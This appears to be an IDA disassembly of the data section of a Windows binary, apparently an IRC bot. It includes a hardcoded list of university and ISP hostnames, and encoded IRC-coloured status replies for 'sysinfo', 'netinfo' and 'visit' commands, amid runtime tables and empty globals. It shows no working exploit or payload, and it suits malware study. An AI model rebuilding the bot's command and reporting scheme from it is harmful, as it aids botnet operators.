align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o dword_43A720 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA43+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A7FC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA43+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo dword_43A828 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF7+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A86C dd offset word_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o off_43A870 dd offset dword_4E414C ; DATA XREF: sub_41ACF7:loc_41AD59o dword_43A874 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF7+5Bo dword_43A87C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF7+48o unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF6Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A8E8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB6+1A0o dd 4C525520h, 2Eh unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB6+18Co dd 64657469h, 2Eh dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo dword_43A960 dd 5FBC83C5h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A970 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A97C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A988 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A9A0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A9A4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A9C8 dd offset dword_43A9C8 dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A9B8o ; ___:0043A9BCo off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C9D8 dd offset word_43C9E2 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C9DC dd offset word_43C9E2 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C9E2 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C9D8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43CBE4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43CBE8 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43CBF0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43CBF4 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43CBF8 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43CC00 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43CC04 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43CC10 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43CCF0 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43CCF4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43CE58 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43CE60 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43CE68 dd 14h ; DATA XREF: sub_421624+2o off_43CE6C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h dd 23h, 4277CCh, 24h, 4277C8h dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43CF80 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43CF84 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43CF88 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43CF8C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43CF90 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43CF94 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43CFA8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43CFAC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D020 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43D024 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43D028 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43D02C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43D038 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43D03C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h dd 0FFh, 427958h off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DBC80 dd 101h dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43D0E8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D108 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D138 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43D348 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43D350 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43D388 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43D38C dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43D390 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43D394 dd offset loc_545350 ; DATA XREF: ___:off_43D414o dd 0Fh dup(0) off_43D3D4 dd offset dword_544450 ; DATA XREF: ___:off_43D418o dd 0Fh dup(0) off_43D414 dd offset off_43D394 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43D418 dd offset off_43D3D4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43D420 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43D424 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43D428 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43D430 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43D434 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43D438 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43D43C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43D46C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43D470 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43D4A8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D764 dd offset off_427D60 ; DATA XREF: ___:00427F3Co ; ___:00428028o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D77C dd offset off_427D60 ; DATA XREF: ___:off_427DF0o ; ___:00427E30o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D79C dd offset off_427D60 ; DATA XREF: ___:off_427E38o ; ___:00427E7Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D7BC dd offset off_427D60 ; DATA XREF: ___:off_427E84o ; ___:00427EC8o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D7E0 dd offset off_427D60 ; DATA XREF: ___:off_427ED0o ; ___:00427F0Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D808 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D810 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B08o ... dd 5 dup(0) dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r ; sub_4150B5+60r dd 2D9h dup(0) dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r ; sub_401ACD+5F40r ... dd 7Fh dup(0) dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w ; sub_40B232+40w ... dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w ; sub_40B232+46w ... dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w ; sub_40B232+3Ar ... dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r ; sub_40B413+2Aw ... dword_43E5A4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA8r ... align 4 dword_43E5AC dd 1C69h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E54o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00438140o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438BACo dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438A18o dd 5852h dup(0) dword_4CB390 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F7+13o ... dword_4CB394 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D8r ... dword_4CB398 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB39C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB41C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB45C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB4EC dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB4F0 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB500 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB504 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB508 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CB50C dd 0 ; DATA XREF: sub_401ACD+7DC0o ; sub_40C9A5+13o ... dword_4CB510 dd 0 ; DATA XREF: sub_409B13+4A7w ; sub_409B13+4EBr ... dword_4CB514 dd 0 ; DATA XREF: sub_409B13+65w ; sub_4196BD+166r dword_4CB518 dd 0 ; DATA XREF: sub_409B13+80Bw ; sub_409B13+880r ... dword_4CB51C dd 0 ; DATA XREF: sub_409B13+9D8w ; sub_409B13+A43r ... dword_4CB520 dd 0 ; DATA XREF: sub_409B13+98Aw ; sub_409B13+A13r ... dword_4CB524 dd 0 ; DATA XREF: sub_409B13+48Dw ; sub_409B13+4DBr ... dword_4CB528 dd 0 ; DATA XREF: sub_409B13+213w ; sub_409B13+234r dword_4CB52C dd 0 ; DATA XREF: sub_409B13+9CBw ; sub_409B13+A3Br ... dword_4CB530 dd 0 ; DATA XREF: sub_409B13+372w ; sub_409B13+3C7r ... dword_4CB534 dd 0 ; DATA XREF: sub_409B13+40Fw ; sub_41AA43+11Er dword_4CB538 dd 0 ; DATA XREF: sub_409B13+37Fw ; sub_409B13+3CFr ... dword_4CB53C dd 0 ; DATA XREF: sub_409B13+3C0w ; sub_418C8F+ADr dword_4CB540 dd 0 ; DATA XREF: sub_409B13+55Aw ; sub_40F0D6+115r ... dword_4CB544 dd 0 ; DATA XREF: sub_409B13+72w ; sub_409B13+D2r ... dword_4CB548 dd 0 ; DATA XREF: sub_409B13+97Dw ; sub_409B13+A06r ... dword_4CB54C dd 0 ; DATA XREF: sub_409B13+3A6w ; sub_409B13+3E7r ... dword_4CB550 dd 0 ; DATA XREF: sub_409B13+859w ; sub_409B13+8ACr ... dword_4CB554 dd 0 ; DATA XREF: sub_409B13+2A5w ; sub_409B13+2F0r ... dword_4CB558 dd 0 ; DATA XREF: sub_409B13+84Cw ; sub_409B13+8A4r ... dword_4CB55C dd 0 ; DATA XREF: sub_409B13+B3w dword_4CB560 dd 0 ; DATA XREF: sub_409B13+866w ; sub_409B13+8B4r ... dword_4CB564 dd 0 ; DATA XREF: sub_409B13+54Dw ; sub_409B13+6D0r ... dword_4CB568 dd 0 ; DATA XREF: sub_409B13+58w ; sub_409B13+CAr ... dword_4CB56C dd 0 ; DATA XREF: sub_409B13+934w dword_4CB570 dd 0 ; DATA XREF: sub_401ACD:loc_403F26r ; sub_409B13+A95w ... dword_4CB574 dd 0 ; DATA XREF: sub_409B13+A6w ; sub_409B13+F2r dword_4CB578 dd 0 ; DATA XREF: sub_409B13+480w ; sub_409B13+4D3r ... dword_4CB57C dd 0 ; DATA XREF: sub_409B13+5F6w ; sub_40BFA4+20r dword_4CB580 dd 0 ; DATA XREF: sub_409B13+9BEw ; sub_409B13+A33r dword_4CB584 dd 0 ; DATA XREF: sub_409B13+5E9w ; sub_409B13+754r ... dword_4CB588 dd 0 ; DATA XREF: sub_409B13+A0Cw dword_4CB58C dd 0 ; DATA XREF: sub_409B13+B50w dword_4CB590 dd 0 ; DATA XREF: sub_409B13+7FEw ; sub_409B13+86Dr ... dword_4CB594 dd 0 ; DATA XREF: sub_409B13+1B3w ; sub_40B2F2+3Do ... dword_4CB598 dd 0 ; DATA XREF: sub_409B13+997w ; sub_409B13+A1Br ... dword_4CB59C dd 0 ; DATA XREF: sub_409B13+38Cw ; sub_409B13+3D7r ... dword_4CB5A0 dd 0 ; DATA XREF: sub_409B13+399w ; sub_409B13+3DFr ... dword_4CB5A4 dd 0 ; DATA XREF: sub_409B13+C85w ; sub_409B13+C8Cr ... dword_4CB5A8 dd 0 ; DATA XREF: sub_409B13+6ACw ; ___:00410890r dword_4CB5AC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB5B0 dd 0 ; DATA XREF: sub_409B13+4B4w ; sub_4153BD+207r dword_4CB5B4 dd 0 ; DATA XREF: sub_409B13+9E5w ; sub_409B13+A4Br ... dword_4CB5B8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B13+2B2w ... dword_4CB5BC dd 0 ; DATA XREF: sub_409B13+7Fw ; sub_409B13+DAr ... dword_4CB5C0 dd 0 ; DATA XREF: sub_401ACD+5912r ; sub_401ACD+79CFr ... dword_4CB5C4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5118r ... dword_4CB5C8 dd 0 ; DATA XREF: sub_409B13+825w ; sub_409B13+890r ... dword_4CB5CC dd 0 ; DATA XREF: sub_409B13+9A4w ; sub_409B13+A23r dword_4CB5D0 dd 0 ; DATA XREF: sub_409B13+C0Ew ; sub_409B13+C3Fr dword_4CB5D4 dd 0 ; DATA XREF: sub_409B13+2CCw ; sub_4184E2+47r dword_4CB5D8 dd 0 ; DATA XREF: sub_409B13+22Dw dword_4CB5DC dd 0 ; DATA XREF: sub_409B13+91Aw ; sub_409B13+92Er dword_4CB5E0 dd 0 ; DATA XREF: sub_409B13+C28w dword_4CB5E4 dd 0 ; DATA XREF: sub_409B13+2D9w ; sub_4184E2+4Fr dword_4CB5E8 dd 0 ; DATA XREF: sub_409B13+574w ; sub_409B13+6E8r ... dword_4CB5EC dd 0 ; DATA XREF: sub_409B13+83Fw ; sub_409B13+873r dword_4CB5F0 dd 0 ; DATA XREF: sub_409B13+220w ; sub_409B13+23Cr dword_4CB5F4 dd 0 ; DATA XREF: sub_409B13+172w ; sub_409B13+1C2r ... dword_4CB5F8 dd 0 ; DATA XREF: sub_401ACD+1E31r ; sub_401ACD+5AC8r ... dword_4CB5FC dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A2r ... dword_4CB600 dd 0 ; DATA XREF: sub_409B13+567w ; sub_409B13+6DCr ... dword_4CB604 dd 0 ; DATA XREF: sub_409B13+8DBw ; sub_409B13:loc_40A40Cw ... dword_4CB608 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B13+28Bw ... dword_4CB60C dd 0 ; DATA XREF: sub_401ACD+795Ar ; sub_409B13+69Fw ... dword_4CB610 dd 0 ; DATA XREF: sub_409B13+32Dw ; sub_409B13+341r ... dword_4CB614 dd 0 ; DATA XREF: sub_409B13+3B3w ; sub_409B13+3EFr ... dword_4CB618 dd 0 ; DATA XREF: sub_409B13+C01w ; sub_409B13+C37r dword_4CB61C dd 0 ; DATA XREF: sub_409B13+818w ; sub_409B13+888r ... dword_4CB620 dd 0 ; DATA XREF: sub_409B13+206w ; sub_409B13+227r dword_4CB624 dd 0 ; DATA XREF: sub_409B13+18Cw ; sub_409B13+1D2r ... dword_4CB628 dd 0 ; DATA XREF: sub_409B13+832w ; sub_409B13+898r ... dword_4CB62C dd 0 ; DATA XREF: sub_409B13+624w ; sub_409B13+774r dword_4CB630 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B13+2BFw ... dword_4CB634 dd 0 ; DATA XREF: sub_409B13+66Bw ; sub_409B13+79Cr ... dword_4CB638 dd 0 ; DATA XREF: sub_409B13+320w ; sub_409B13+334r ... dword_4CB63C dd 0 ; DATA XREF: sub_409B13+644w ; sub_409B13+784r ... dword_4CB640 dd 0 ; DATA XREF: sub_409B13+44Cw ; sub_409B13+4AEr ... dword_4CB644 dd 0 ; DATA XREF: sub_409B13+199w ; sub_409B13+1DAr ... dword_4CB648 dd 0 ; DATA XREF: sub_409B13+365w ; sub_409B13+3BAr ... dword_4CB64C dd 0 ; DATA XREF: sub_409B13+AA2w dword_4CB650 dd 0 ; DATA XREF: sub_409B13+5DCw ; sub_409B13+748r ... dword_4CB654 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5154r ... dword_4CB658 dd 0 ; DATA XREF: sub_409B13+4Bw ; sub_409B13+C2r ... dword_4CB65C dd 0 ; DATA XREF: sub_409B13+473w ; sub_409B13+4CBr ... dword_4CB660 dd 0 ; DATA XREF: sub_409B13+165w ; sub_409B13+1BAr ... dword_4CB664 dd 0 ; DATA XREF: sub_409B13+9FFw ; sub_409B13+A5Br ... dword_4CB668 dd 0 ; DATA XREF: sub_409B13+685w ; sub_409B13+7ACr ... dword_4CB66C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B7r ... dword_4CB670 dd 0 ; DATA XREF: sub_409B13+C1Bw ; 